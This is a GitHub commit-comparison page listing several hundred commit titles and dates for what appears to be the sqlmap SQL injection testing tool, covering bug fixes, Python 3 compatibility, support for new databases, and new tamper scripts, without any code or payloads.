Compare commits

...

415 Commits

Author SHA1 Message Date
Miroslav Stampar
66e07dfab6 Fixes #4322 2020-09-01 15:35:14 +02:00
Miroslav Stampar
226d467f6d Fixes #4321 2020-08-31 22:06:22 +02:00
Miroslav Stampar
ea5ae44b6c Minor improvement 2020-08-31 11:55:14 +02:00
Miroslav Stampar
95b9a47c6f Adding support for easier 'decloaking' (AV something something) 2020-08-31 11:34:12 +02:00
Miroslav Stampar
e05f65628d Minor update 2020-08-31 11:18:29 +02:00
Miroslav Stampar
609545176f Minor refactoring 2020-08-28 14:46:59 +02:00
Miroslav Stampar
8de4820b24 Minor update 2020-08-28 14:24:43 +02:00
Miroslav Stampar
df5fabbbbb Adding couple of doctests 2020-08-24 11:10:13 +02:00
Miroslav Stampar
0c48d0dbec Minor update on request 2020-08-23 22:11:24 +02:00
Miroslav Stampar
5108c2d06c Minor update regarding #4312 2020-08-23 21:16:56 +02:00
Miroslav Stampar
603d602550 Fixes #4313 2020-08-23 20:59:10 +02:00
Miroslav Stampar
907786edb8 Patch for #4314 2020-08-23 20:56:22 +02:00
Miroslav Stampar
85b73f872e Minor patch 2020-08-20 13:54:52 +02:00
Miroslav Stampar
a42ec7d9cb Trivial refactoring 2020-08-13 16:22:09 +02:00
tree-chtsec
b3f4c6d0fc Make asterisk work with --csrf-token option (#4305) 2020-08-13 16:18:31 +02:00
Miroslav Stampar
cec65f3a27 Adding new tamper script 2020-08-12 09:50:04 +02:00
Miroslav Stampar
cc79ae69aa Fixes #4303 2020-08-11 15:09:23 +02:00
Miroslav Stampar
5a9dc15cf2 Introduction of --base64-safe 2020-08-10 22:26:03 +02:00
Miroslav Stampar
f1fd080ba5 Minor improvement 2020-08-10 21:54:58 +02:00
Miroslav Stampar
cfe9fb4f5b Fixes #4301 2020-08-10 21:27:38 +02:00
Miroslav Stampar
7a55c9c145 Trivial update 2020-08-10 21:26:37 +02:00
Miroslav Stampar
4077a359f4 Fixes #4294 2020-08-05 22:43:32 +02:00
Miroslav Stampar
435fd49f1d Trivial update 2020-08-04 10:34:18 +02:00
Miroslav Stampar
bcfd9c3f48 Trivial update 2020-08-04 10:27:52 +02:00
Miroslav Stampar
39c320c29b Fixes #4292 2020-08-03 23:23:14 +02:00
Miroslav Stampar
b719b9612f Adding new tamper script 2020-07-29 13:40:23 +02:00
Miroslav Stampar
84bc2640d1 Minor adjustment on private request 2020-07-28 12:55:57 +02:00
Miroslav Stampar
fced29a242 Fixes #4285 2020-07-28 11:30:47 +02:00
Miroslav Stampar
2e5e958d3f Fixes #4287 2020-07-28 11:22:05 +02:00
Miroslav Stampar
1e30471d3d Minor update 2020-07-28 11:10:15 +02:00
Miroslav Stampar
10b93d753d Adding new tamper script 2020-07-27 14:01:12 +02:00
Miroslav Stampar
1280abc25c Adding some tamper scripts 2020-07-27 13:49:48 +02:00
Miroslav Stampar
c47061f25d Update regarding #4281 2020-07-26 20:16:58 +02:00
HerendraTJ
9b871f1093 Spacing (#4279)
Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.
2020-07-26 20:06:59 +02:00
Miroslav Stampar
0ba07e93d5 Fixes #4284 2020-07-26 19:34:30 +02:00
Miroslav Stampar
ce50acf69d Minor update 2020-07-22 11:25:06 +02:00
Miroslav Stampar
9f0ff27c26 Fixes #4277 2020-07-22 09:57:13 +02:00
Miroslav Stampar
ecafac5cd2 Minor cleanup 2020-07-21 22:05:02 +02:00
Miroslav Stampar
f39869992c Fixes #4275 2020-07-20 12:43:17 +02:00
Miroslav Stampar
e910fc6b8b Some more things regarding #4269 2020-07-16 16:10:13 +02:00
Gustavo
6375f9e506 Fixing an error (#4267)
There was a newline breaking the link:

"[aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master)"
2020-07-16 14:45:17 +02:00
Miroslav Stampar
8e649dc3f7 Minor patch 2020-07-16 14:42:51 +02:00
Miroslav Stampar
a6ce91a3e2 Fixes #4269 2020-07-16 14:30:50 +02:00
Miroslav Stampar
408862b040 Update regarding #4268 2020-07-16 14:22:32 +02:00
Miroslav Stampar
fc4dec7291 Fixes #4260 2020-07-15 15:29:35 +02:00
Miroslav Stampar
274a6e62da Patch for #4261 2020-07-15 14:53:35 +02:00
Miroslav Stampar
aa7c548376 Fixes #4263 2020-07-15 14:49:16 +02:00
Miroslav Stampar
6b7a1dfd94 Adding new payload (credits: blackfan.ru) 2020-07-10 14:33:45 +02:00
Miroslav Stampar
67f918f6ad Minor update 2020-07-07 11:31:07 +02:00
Miroslav Stampar
a65e1faf99 Patch for #4258 2020-07-07 10:41:23 +02:00
Miroslav Stampar
ff48e1d820 Minor update (phpass) 2020-07-01 13:04:44 +02:00
Miroslav Stampar
0094f02fb0 Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252) 2020-07-01 12:46:26 +02:00
Miroslav Stampar
459130196a Minor patch 2020-07-01 11:56:24 +02:00
Miroslav Stampar
0a8a65bc0b Update regarding #4248 2020-06-29 20:29:46 +02:00
Miroslav Stampar
5d370f2fa1 Update regarding the #4243 2020-06-26 11:45:05 +02:00
Miroslav Stampar
1296336e18 Minor cleanup 2020-06-25 15:13:35 +02:00
Miroslav Stampar
75b3736467 Re-implementation for #4243 2020-06-25 15:07:19 +02:00
Miroslav Stampar
282eb7e533 Minor update related to the #4244 2020-06-25 13:48:50 +02:00
Miroslav Stampar
f28d82c119 Minor patch related to the #4239 2020-06-25 13:02:56 +02:00
Miroslav Stampar
74603c5530 Fixes #4239 2020-06-25 12:55:10 +02:00
Miroslav Stampar
050700f079 Fixes #4237 2020-06-24 12:05:40 +02:00
Miroslav Stampar
31bf1fc6b6 Update regarding #4239 2020-06-24 11:41:51 +02:00
Miroslav Stampar
d4d83b29f0 Drei patch (Issue #4235) 2020-06-17 21:58:10 +02:00
Miroslav Stampar
596fff48ad Fixes #4235 2020-06-17 20:56:50 +02:00
Miroslav Stampar
56ff081314 Up the ante 2020-06-17 20:05:12 +02:00
Miroslav Stampar
69421b4806 Fixes #4231 2020-06-14 22:12:00 +02:00
Miroslav Stampar
3910b86853 Potential patch for #4232 2020-06-14 22:01:49 +02:00
Miroslav Stampar
bbdedb39f9 Fixes #4233 2020-06-14 21:23:55 +02:00
Miroslav Stampar
d0be782ece Update for #4212 2020-06-10 12:53:22 +02:00
Miroslav Stampar
16c8673e98 Implementation on request (--csrf-retries) 2020-06-10 12:49:35 +02:00
Miroslav Stampar
1dedc36d85 Implementation for #4212 2020-06-10 12:19:52 +02:00
Miroslav Stampar
c1d46c95ed Minor correction 2020-06-10 11:53:58 +02:00
Miroslav Stampar
d5fc2c9350 Patch for #4227 2020-06-05 17:37:36 +02:00
Miroslav Stampar
c28ad8fcd8 Adding boundary for #4221 2020-06-05 17:32:41 +02:00
Miroslav Stampar
2d06543cac Fixes #4220 2020-06-01 03:29:53 +02:00
Miroslav Stampar
6a1e0fb497 Travis CI patch (no more --check-internet) 2020-05-27 18:39:48 +02:00
Miroslav Stampar
5c650e15a9 Still debugging Travis CI issue 2020-05-27 18:30:13 +02:00
Miroslav Stampar
c97a814d26 Trying to deal with Travis CI problem 2020-05-27 17:57:38 +02:00
Miroslav Stampar
a58d08c7e4 Removing deprecated option 2020-05-27 16:50:16 +02:00
Miroslav Stampar
9c503873ad Minor patch (TravisCI related) 2020-05-27 15:44:44 +02:00
Miroslav Stampar
03dfd6b4d5 Fixes #4214 2020-05-27 15:39:03 +02:00
Miroslav Stampar
d5a2ffc8ce Patch for Issue #4211 2020-05-21 22:32:16 +02:00
Miroslav Stampar
ddf8b1b198 Fixes #4208 2020-05-20 16:12:19 +02:00
Karim Kanso
9a36357c52 SQLite table dumping compatibility improvements. (#4205)
* Fix sqlite regex for create table to support implicit column types

* Fix sqlite when dumping large tables
2020-05-20 15:35:20 +02:00
Miroslav Stampar
667e4d00f2 Fixes #4204 2020-05-20 15:20:44 +02:00
Miroslav Stampar
788dcbf077 Update of THANKS file 2020-05-20 15:04:31 +02:00
Miroslav Stampar
a851dc486a Couple of trivialities 2020-05-15 12:58:03 +02:00
Miroslav Stampar
9077734ec5 Minor update related to last couple of commits 2020-05-14 19:20:16 +02:00
Miroslav Stampar
7b49c46906 Commit as a thank you for the donation 2020-05-14 17:48:07 +02:00
Miroslav Stampar
317bc0f69c Trivial text update 2020-05-14 17:17:34 +02:00
Miroslav Stampar
c7bdf27542 Tribute to all the FUBAR h4x0rs around the world (#4183) 2020-05-14 17:15:33 +02:00
Miroslav Stampar
b334b6b742 Patch for #4199 2020-05-13 14:18:19 +02:00
Miroslav Stampar
aa812effe7 Fixes #4203 2020-05-13 13:45:52 +02:00
Miroslav Stampar
99e2a26a8d Fixes #4202 2020-05-13 12:53:58 +02:00
Miroslav Stampar
01edcbf71d Minor patch (proper exit code-ing) 2020-05-13 12:39:37 +02:00
Miroslav Stampar
0b93311ef2 Fixes #4201 2020-05-13 11:59:59 +02:00
Miroslav Stampar
4f3f43d8bb Further update for #4198 2020-05-11 17:55:48 +02:00
Miroslav Stampar
4582948aac Update regarding #4198 2020-05-11 12:38:54 +02:00
Miroslav Stampar
3729b76c14 Fixes #4194 2020-05-11 11:31:36 +02:00
Miroslav Stampar
a8c3d17583 Fixes #4197 2020-05-11 11:13:06 +02:00
Miroslav Stampar
3c36b186ad Mixing some fresh blood (PwnedPasswordTop100k) 2020-05-06 13:28:13 +02:00
Miroslav Stampar
075fa1d4be Minor improvement (bz2 slow, zlib fast) 2020-05-06 13:18:19 +02:00
Miroslav Stampar
5be407edad Patch related to the #4188 2020-05-06 00:36:18 +02:00
Miroslav Stampar
7ab82de80f Minor update (usage of cookie in --eval) 2020-05-05 23:57:15 +02:00
Miroslav Stampar
93399ab1b3 Cleaning of leftover parameter values 2020-05-05 23:50:45 +02:00
Miroslav Stampar
87bccf4aa7 Patch related to the #4187 2020-05-05 23:40:37 +02:00
Miroslav Stampar
1c179674d8 Minor patching (--not-string related) 2020-05-05 13:31:44 +02:00
Miroslav Stampar
7a6433b9ef Proper implementation for #4184 2020-05-04 12:25:46 +02:00
Miroslav Stampar
4e7f0b10d5 Patch related to the #4185 2020-05-04 10:45:39 +02:00
Miroslav Stampar
0351b4a939 Minor patch (CTF related) 2020-05-04 00:06:03 +02:00
Miroslav Stampar
3c93872d53 Update related to the #4182 2020-05-02 13:59:06 +02:00
Miroslav Stampar
881d767df8 Fixes #4181 2020-04-30 16:20:57 +02:00
Miroslav Stampar
1156b53eee Patch for #4178 2020-04-29 14:36:11 +02:00
Miroslav Stampar
5cacf20eb5 Speeding up the post-processing of large dumps 2020-04-27 14:23:47 +02:00
Miroslav Stampar
1825390951 Feeding the OCD 2020-04-26 15:35:34 +02:00
Miroslav Stampar
7815f88027 Patch for #4171 2020-04-26 15:34:27 +02:00
Miroslav Stampar
f63a92a272 Another minor patch related to the #4167 2020-04-21 01:26:28 +02:00
Miroslav Stampar
e3b3dea46c Patch related to the #4167 2020-04-21 01:21:50 +02:00
Miroslav Stampar
55595edce2 Fixes #4165 2020-04-17 19:29:36 +02:00
Miroslav Stampar
aaa0c5c6a8 Minor update 2020-04-15 23:32:15 +02:00
Miroslav Stampar
57bb710ae6 Bug fix (CTF and stuff) 2020-04-08 22:40:23 +02:00
Miroslav Stampar
ce9285381d Fixes #4158 2020-04-07 02:07:54 +02:00
Miroslav Stampar
dad4879200 Couple of trivial refactorings 2020-04-03 00:16:38 +02:00
Miroslav Stampar
2cba4e2d78 Minor update 2020-03-26 14:58:58 +01:00
Miroslav Stampar
8ec165d688 Fixes #4144 2020-03-19 11:25:12 +01:00
Miroslav Stampar
492fbae7c5 Fixes #4143 2020-03-18 10:17:58 +01:00
Miroslav Stampar
a8d81a7962 Fixes #4141 2020-03-17 11:10:52 +01:00
Miroslav Stampar
fcb2a6e111 Patch related to the #4137 2020-03-16 17:31:37 +01:00
Miroslav Stampar
2e7333d7c8 Fixes #4133 2020-03-16 16:56:00 +01:00
Miroslav Stampar
5fd2598da0 Fixes #4136 2020-03-12 22:36:12 +01:00
Miroslav Stampar
111201978c Fixes #4131 2020-03-09 10:44:11 +01:00
Miroslav Stampar
41bdb93655 Fixes #4132 2020-03-09 10:30:24 +01:00
Miroslav Stampar
6cd0b1120f Minor update 2020-03-06 12:26:31 +01:00
Miroslav Stampar
97ccf4ca66 Minor patch 2020-03-06 12:21:26 +01:00
Miroslav Stampar
8cc516dc5f Bug fix (wrong coloring in some cases) 2020-03-05 14:02:27 +01:00
Miroslav Stampar
8e39c6fc3d Minor update 2020-03-04 22:55:35 +01:00
Miroslav Stampar
d9e540e8b2 Couple of minor patches 2020-03-04 22:43:50 +01:00
Miroslav Stampar
e0ad99d534 Trivial refactoring 2020-03-03 14:40:40 +01:00
Miroslav Stampar
5f5ee6ca68 Fixes #4130 2020-03-03 14:35:38 +01:00
Miroslav Stampar
7a5538ab3e Minor just in case patch 2020-03-03 14:32:01 +01:00
Miroslav Stampar
125de093df Adding support for FrontBase 2020-03-02 12:43:12 +01:00
Miroslav Stampar
dc6e7321e9 Cleaning something something 2020-02-28 14:55:48 +01:00
Miroslav Stampar
1023da405a More Python 3.9 fixing (can't wait for Python 10.7) 2020-02-28 14:44:27 +01:00
Miroslav Stampar
013af3235e I would die for Python3(.9) 2020-02-28 14:37:37 +01:00
Miroslav Stampar
2a1e812288 Some more Python 3.9 patching 2020-02-28 14:24:50 +01:00
Miroslav Stampar
44b7cc7d17 Travis patch 2020-02-28 14:11:16 +01:00
Miroslav Stampar
60a2d74f2b Fixes #4126 2020-02-28 14:08:43 +01:00
Miroslav Stampar
83fecfc1ba Minor patch 2020-02-27 14:31:43 +01:00
Miroslav Stampar
86c6e3d5fc Minor adjustment 2020-02-26 21:47:10 +01:00
Miroslav Stampar
5eb2263c42 Adding support for eXtremeDB 2020-02-26 17:33:47 +01:00
Miroslav Stampar
7ff77ef052 Adding support for InterSystems Cache (and IRIS) 2020-02-25 12:36:07 +01:00
Miroslav Stampar
5c82f30fd8 Trivial update 2020-02-18 10:00:23 +01:00
Miroslav Stampar
3f17dc4747 Fixes #4113 2020-02-17 13:48:22 +01:00
Miroslav Stampar
e1502e0cea Fixes #4118 2020-02-17 12:24:23 +01:00
Miroslav Stampar
c3fe9a0d47 Fixes #4116 2020-02-17 11:50:37 +01:00
Miroslav Stampar
f8b2cb5a0a Fixes #4115 2020-02-17 11:43:12 +01:00
Miroslav Stampar
597013477d Minor update 2020-02-13 14:24:53 +01:00
Miroslav Stampar
0453a2827c Couple of patches 2020-02-12 16:21:09 +01:00
Miroslav Stampar
0605f14d87 Couple of fixes for SAP MaxDB 2020-02-11 15:33:17 +01:00
Miroslav Stampar
176e89d978 Minor update 2020-02-10 17:35:38 +01:00
Miroslav Stampar
b7cdcebcea Minor patch for HSQLDB 2020-02-10 17:22:36 +01:00
Miroslav Stampar
1fb1a05a78 Couple of patches (CockroachDB, Drizzle, Firebird related) 2020-02-10 16:22:58 +01:00
Miroslav Stampar
2d48b8effa Minor update 2020-02-10 12:57:04 +01:00
Miroslav Stampar
4ef9557ccd Minor update 2020-02-07 16:33:22 +01:00
Miroslav Stampar
3513ca66fe Minor beautification 2020-02-07 14:26:01 +01:00
Miroslav Stampar
6467c63c24 Patch for couple of bugs found during bed-testing 2020-02-07 14:02:45 +01:00
Miroslav Stampar
f19f38d1d5 Fixes #4102 2020-02-07 10:12:33 +01:00
Miroslav Stampar
a0b279848d Trivial update 2020-02-07 00:30:02 +01:00
Miroslav Stampar
ec80009812 Minor refactoring 2020-02-07 00:06:09 +01:00
Miroslav Stampar
19e08416b5 Should fix broken Travis 2020-02-06 22:52:45 +01:00
Miroslav Stampar
6825bf85a4 Debugging broken Travis (2) 2020-02-06 22:44:37 +01:00
Miroslav Stampar
4fa39f4539 Debugging broken Travis 2020-02-06 22:34:59 +01:00
Miroslav Stampar
a989e1abfe Minor refactoring 2020-02-06 22:15:31 +01:00
Miroslav Stampar
c71bdf5c9e Minor 'patch' for #4095 2020-02-06 14:26:42 +01:00
Miroslav Stampar
1b92acc033 Fixes #4105 2020-02-06 14:20:33 +01:00
Miroslav Stampar
f968b23f63 Minor update 2020-02-06 14:17:14 +01:00
Miroslav Stampar
5f39016af7 Adding recognition of Amazon Aurora forks 2020-02-03 22:11:19 +01:00
Miroslav Stampar
1dd400f93d Minor patch 2020-02-03 16:54:00 +01:00
Miroslav Stampar
feb1df6a05 Adding support for Apache Ignite (H2 fork) 2020-02-03 13:47:31 +01:00
Miroslav Stampar
4772a9243a Minor update 2020-02-03 11:52:42 +01:00
Miroslav Stampar
8649021b78 Adding support for Drizzle (MySQL fork) 2020-02-03 11:46:03 +01:00
Miroslav Stampar
9d6c931faa Finalizing support for Cubrid 2020-02-03 11:33:19 +01:00
Miroslav Stampar
264a270985 Adding initial support for Cubrid 2020-02-03 01:58:12 +01:00
Miroslav Stampar
4278bbce11 Patch for sporadic --parse-errors in generic SQL errors (e.g. CrateDB) 2020-02-02 22:01:57 +01:00
Miroslav Stampar
db126af86a Minor generalization for special cases 2020-02-02 21:07:53 +01:00
Miroslav Stampar
18b72e605a Trivial update 2020-02-02 14:59:13 +01:00
Miroslav Stampar
0e4232f533 Adding support for CrateDB 2020-02-02 14:51:24 +01:00
Miroslav Stampar
e448905eb1 Fixes #4085 2020-02-01 15:30:01 +01:00
Miroslav Stampar
ee7aa68da8 Trivial patch for #4099 2020-02-01 14:39:11 +01:00
Miroslav Stampar
2fc4d17cbc Update regarding #4099 2020-02-01 14:36:27 +01:00
elias
93aa981e4f Add link of persian (#4099)
* Add the persian translations

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* add to persian translations

HI 
please add to persian translations
regard: elias rohani

* Add link of persian

* Revert "Add link of persian"

* Revert "Add link of persian"
2020-02-01 14:28:16 +01:00
Miroslav Stampar
a4cb6dbb00 Fixes #4093 2020-01-31 22:37:39 +01:00
Miroslav Stampar
4e3af35ceb Fixes #4096 2020-01-31 21:51:02 +01:00
Miroslav Stampar
5d7b7d6bca Couple of patches 2020-01-31 21:24:20 +01:00
Miroslav Stampar
8ab4f6214f Adding recognition of Greenplum (pgsql fork) 2020-01-31 13:01:15 +01:00
Miroslav Stampar
8d343fc2a6 Adding support for Amazon Redshift (pgsql fork) 2020-01-31 11:39:16 +01:00
Miroslav Stampar
421f1878e3 Adding support for MimerSQL 2020-01-31 11:33:31 +01:00
Miroslav Stampar
f21388d550 Minor optimization 2020-01-28 10:01:21 +01:00
Miroslav Stampar
f38a2c2028 Minor refactoring 2020-01-28 09:42:00 +01:00
Miroslav Stampar
22bf77161a Trivial update 2020-01-28 00:00:06 +01:00
Miroslav Stampar
186b3920e7 Adding support for Percona (MySQL) fork 2020-01-27 23:47:47 +01:00
Miroslav Stampar
d227413a14 Adding support for Altibase 2020-01-27 17:32:31 +01:00
Miroslav Stampar
70df6d8b22 Minor update 2020-01-27 12:20:29 +01:00
Miroslav Stampar
6d05985aef Older Python versions have problems with chunking 2020-01-27 12:09:14 +01:00
Miroslav Stampar
8c57b9cd4c Fixes Python3 support for --chunked (drei) 2020-01-27 11:32:05 +01:00
Miroslav Stampar
4cf14c80eb Fixes #4086 2020-01-27 01:07:15 +01:00
Miroslav Stampar
615ac3b733 Minor optimizations 2020-01-25 23:37:57 +01:00
Miroslav Stampar
b2d6ab2949 Minor update 2020-01-25 17:15:11 +01:00
Miroslav Stampar
39be0f30d8 Adding recognition of Azure 2020-01-25 16:49:32 +01:00
Miroslav Stampar
6f54be987f Minor modification 2020-01-25 16:33:48 +01:00
Miroslav Stampar
35fa710eed Fixes #4084 2020-01-24 12:38:25 +01:00
Miroslav Stampar
f2518f7112 Trivial update 2020-01-23 23:36:28 +01:00
Miroslav Stampar
3779531540 Adding support for TiDB 2020-01-23 23:27:33 +01:00
Miroslav Stampar
447e5ec0ea Trivial patch 2020-01-23 22:18:53 +01:00
Miroslav Stampar
d5fab1907d Adding support for Presto 2020-01-23 16:59:02 +01:00
Miroslav Stampar
ec4880e0e1 Fixes #4083 (drei) 2020-01-23 13:30:20 +01:00
Miroslav Stampar
984808cc26 Fixes #4081 2020-01-23 11:55:41 +01:00
Miroslav Stampar
6b1f4965ed Fixes #4082 2020-01-23 11:46:17 +01:00
Miroslav Stampar
e8be9e4af4 Better patch (related to previous one) 2020-01-23 10:57:35 +01:00
Miroslav Stampar
5b1574614d Minor patch 2020-01-23 10:53:06 +01:00
Miroslav Stampar
2c19d16830 Patch for Python 2.6 compatibility 2020-01-23 04:02:07 +01:00
Miroslav Stampar
60b642e2bd Adding support for Mckoi 2020-01-22 23:41:06 +01:00
Miroslav Stampar
20700fd6b9 Adding support for CockroachDB (Postgres fork) 2020-01-21 23:19:11 +01:00
Miroslav Stampar
4be7c7dcee Trivial patch 2020-01-21 22:29:26 +01:00
Miroslav Stampar
5ab2dfd0d9 Adding support for Vertica 2020-01-21 15:40:59 +01:00
Miroslav Stampar
f0f1cf1b21 Minor patch 2020-01-21 11:18:34 +01:00
Miroslav Stampar
b25181f061 Adding support for MemSQL (MySQL fork) 2020-01-20 23:11:37 +01:00
Miroslav Stampar
9f85412017 Fixes #4080 2020-01-20 16:11:12 +01:00
Miroslav Stampar
4c804a3fd6 Adding support for Apache Derby 2020-01-20 15:33:45 +01:00
Miroslav Stampar
d7a56017bf Trivial update 2020-01-18 07:54:03 +01:00
Miroslav Stampar
ef59a365f4 Fix for broken build 2020-01-17 17:22:50 +01:00
Miroslav Stampar
1087396d88 Adding support for MonetDB 2020-01-17 17:14:41 +01:00
Miroslav Stampar
1cfe370276 More refactoring for #4077 2020-01-15 22:47:06 +01:00
Miroslav Stampar
3776f2eeea Minor refactoring for #4077 2020-01-15 22:38:34 +01:00
Tomas Zellerin
a6c26fe792 Python 3 binary-character fixes for two urllib requests (#4077)
* Fix python3 binary - character mismatch in api.py

Convert between text and binary data in api.py call to urllib.request
and response from it.

In python3 sqlmapapi -c it fixes, at least
- not nice output from log/list commands
- any command that POSTs data (including new) crashing sqlmapapi

* Fix python3 binary - character mismatch in search.py

Before:
python3 sqlmap.py -g <long random string>
(...)
[18:35:17] [INFO] using search result page #1
no usable links found. What do you want to do?
[1] (re)try with DuckDuckGo (default)
[2] (re)try with Bing
[3] quit
> 1
[18:35:21] [CRITICAL] unable to connect

After:
python3 sqlmap.py -g asfafw2fwesvzsdvaw
(...)
[18:37:30] [INFO] using search result page #1
no usable links found. What do you want to do?
[1] (re)try with DuckDuckGo (default)
[2] (re)try with Bing
[3] quit
> 1
[18:37:34] [INFO] found 26 results for your search dork expression, 16 of them are testable targets
[18:37:34] [INFO] found a total of 16 targets
URL 1:
GET https:...
do you want to test this URL? [Y/n/q]
2020-01-15 22:36:49 +01:00
Miroslav Stampar
c082067902 Removing some dead code (vulture) 2020-01-10 11:44:24 +01:00
Miroslav Stampar
e37c22793b Patch related to #4070 2020-01-10 11:09:20 +01:00
Miroslav Stampar
14005f476d Minor bug fix 2020-01-09 13:19:54 +01:00
Miroslav Stampar
eb3a3b4825 Patch regarding #4066 2020-01-09 11:59:50 +01:00
Miroslav Stampar
71b33e5956 Minor patch 2020-01-09 11:36:19 +01:00
Miroslav Stampar
ab203c1ec5 Couple of fixes (--check-internet) and updates 2020-01-09 11:25:09 +01:00
Miroslav Stampar
e7dd7e2d48 Trivial refactoring 2020-01-08 10:53:08 +01:00
Miroslav Stampar
89aff21fb6 Minor patch 2020-01-08 10:43:11 +01:00
Miroslav Stampar
c95c370254 Couple of patches 2020-01-08 10:37:59 +01:00
Miroslav Stampar
239e4d7927 Minor patch 2020-01-08 00:11:13 +01:00
Miroslav Stampar
dbebb34bc8 Trivial patch 2020-01-08 00:01:15 +01:00
Miroslav Stampar
0e9dd9b0be Some testing stuff 2020-01-07 23:49:45 +01:00
Miroslav Stampar
57f17794c4 Adding support for all_proxy (#91) 2020-01-07 21:08:18 +01:00
Miroslav Stampar
7a0a4c28e5 Minor update 2020-01-07 11:48:02 +01:00
Miroslav Stampar
0ea39098bd Fixes #4063 2020-01-07 09:31:54 +01:00
Miroslav Stampar
49afd47c13 Trivial update (year bump) 2020-01-05 22:56:10 +01:00
Miroslav Stampar
dc9e2df3c6 Minor update 2020-01-05 22:51:31 +01:00
Miroslav Stampar
3a048a9e67 Trivial cleanup 2020-01-05 22:46:16 +01:00
Miroslav Stampar
6b45199766 Removing obsolete code 2020-01-05 22:43:25 +01:00
Miroslav Stampar
bb51c0e41e Minor update 2020-01-03 14:03:01 +01:00
Miroslav Stampar
5d62195a41 Minor update of testing 2020-01-03 13:46:12 +01:00
Miroslav Stampar
8ace3363bd Trivial update 2020-01-01 14:04:01 +01:00
Miroslav Stampar
4606d5afd5 Copyright year bump 2020-01-01 14:02:52 +01:00
Miroslav Stampar
e9ec443a8a First dummy 2020 commit 2020-01-01 13:30:20 +01:00
Miroslav Stampar
4efd745b5c Copyright year bump 2020-01-01 13:25:15 +01:00
Miroslav Stampar
4833e40824 Version bump 2020-01-01 13:22:06 +01:00
Miroslav Stampar
e0ecf8c804 Fixes #4056 2019-12-31 11:03:14 +01:00
Miroslav Stampar
cf7022b0a0 Minor patch (empty input without newline) 2019-12-27 18:18:32 +01:00
Miroslav Stampar
4c5cb9e0d4 Subtle (sneaky) bug removed (related to #4051) - False or '' results with '' 2019-12-27 15:37:02 +01:00
Miroslav Stampar
bcb9482724 Fixes #4048 2019-12-27 15:20:09 +01:00
Miroslav Stampar
70e6700eb7 Fixes #4053 2019-12-27 14:38:22 +01:00
Miroslav Stampar
884ee56730 Fixes #4050 2019-12-23 12:14:40 +01:00
Miroslav Stampar
9ca5dc798e Fixes #4047 2019-12-19 17:35:39 +01:00
Miroslav Stampar
c96283a083 Minor patch 2019-12-18 12:29:07 +01:00
Miroslav Stampar
b4f9bf3f21 I don't know how this went through 2019-12-18 11:30:13 +01:00
Miroslav Stampar
d52d5f0ddc Fixes #4046 2019-12-18 11:04:01 +01:00
Miroslav Stampar
d38acbe347 Fixing lost versioning 2019-12-18 10:19:03 +01:00
Miroslav Stampar
7dae324ed6 Trivial update 2019-12-15 16:33:03 +01:00
Ryan Young
24aadbd850 Support IPv6 literals ("[::1]:8080") in the proxy switch. (#4041) 2019-12-15 16:06:26 +01:00
tanaydin sirin
3145de15d8 Update common-columns.txt (#4039)
Some more common Turkish column names.
2019-12-13 17:29:12 +01:00
Miroslav Stampar
6e06df3d39 Minor bug fix 2019-12-12 14:10:02 +01:00
Miroslav Stampar
f01610b397 Minor update 2019-12-12 11:51:26 +01:00
Miroslav Stampar
a5ed4c5255 Minor update 2019-12-12 11:42:14 +01:00
Gabriel M. Dutra
9866e478b9 Change vocabulary for better understanding. (#4034) 2019-12-10 15:26:57 +01:00
Miroslav Stampar
251c8ba064 Minor update 2019-12-10 13:54:29 +01:00
Miroslav Stampar
1a95cea1f2 Trivial updates 2019-12-09 22:13:52 +01:00
Gabriel M. Dutra
38d5086b88 Added implicit verification (#4032) 2019-12-09 21:49:11 +01:00
Miroslav Stampar
7b5a640d1f Minor update 2019-12-09 11:35:22 +01:00
Miroslav Stampar
e853508192 Update for #4030 2019-12-09 11:31:07 +01:00
Miroslav Stampar
5d32ca638b Minor update 2019-12-06 16:11:22 +01:00
Miroslav Stampar
0c8f6156d2 Trivial update 2019-12-06 16:03:51 +01:00
Miroslav Stampar
292bdf4479 Fixes #4028 2019-12-06 16:02:25 +01:00
Miroslav Stampar
82e6bc64c2 Fixes #4026 2019-12-06 15:20:09 +01:00
Miroslav Stampar
ea0ec868e9 Fixes #4029 2019-12-06 15:15:39 +01:00
Miroslav Stampar
424d4ee968 Minor compatibility update 2019-12-05 22:45:57 +01:00
Miroslav Stampar
f4bfa7a5ae Minor patch 2019-12-05 22:20:00 +01:00
Miroslav Stampar
568ee4669e Minor patch (gui) 2019-12-05 13:56:46 +01:00
Miroslav Stampar
c3a6b71023 Fixes #4025 2019-12-05 13:50:16 +01:00
Miroslav Stampar
f7a237fdee Adding basic functionality to a hidden feature 2019-12-03 23:30:28 +01:00
Miroslav Stampar
948903f232 Fixes #4024 2019-12-02 10:10:58 +01:00
Miroslav Stampar
20d875a8ce Fixes #4020 2019-11-30 23:10:40 +01:00
raimundmuc
f947c5f76e Fix regression introduced by b3cdec5 (#4022) 2019-11-30 22:48:34 +01:00
Miroslav Stampar
1233573df1 Removing leftover 2019-11-30 11:25:38 +01:00
Miroslav Stampar
04ce6ba91b Minor patch 2019-11-30 11:14:41 +01:00
Miroslav Stampar
c1f98d07c1 Couple of important patches 2019-11-30 04:42:38 +01:00
Miroslav Stampar
fddc818764 New tests 2019-11-29 22:03:16 +01:00
Miroslav Stampar
c028fb9003 Patch for websocket (with multiple recv requirement) 2019-11-28 13:53:47 +01:00
Miroslav Stampar
1bfb9efb91 Minor patch 2019-11-28 13:41:02 +01:00
Miroslav Stampar
7731c6c135 Minor patch 2019-11-28 00:29:42 +01:00
Miroslav Stampar
989915b91c Bug fix (type detection in SQLite --common-columns) 2019-11-28 00:02:08 +01:00
Miroslav Stampar
03728a4f20 Bug fix (--common-columns on SQLite) 2019-11-27 23:40:36 +01:00
Miroslav Stampar
47d2cf0c6c Some more tests 2019-11-27 23:26:39 +01:00
Miroslav Stampar
ce65733043 Minor patch (problem reported via email) 2019-11-27 12:09:51 +01:00
Miroslav Stampar
6ab1cf8caa Minor cleanup 2019-11-26 16:22:23 +01:00
Miroslav Stampar
78a5573563 Just in case patch 2019-11-26 14:03:22 +01:00
Miroslav Stampar
db2e74a810 Minor patch 2019-11-26 13:51:08 +01:00
Miroslav Stampar
04708c6d1a Minor improvement 2019-11-26 13:36:06 +01:00
Miroslav Stampar
6823971442 Minor patch 2019-11-26 13:18:21 +01:00
Miroslav Stampar
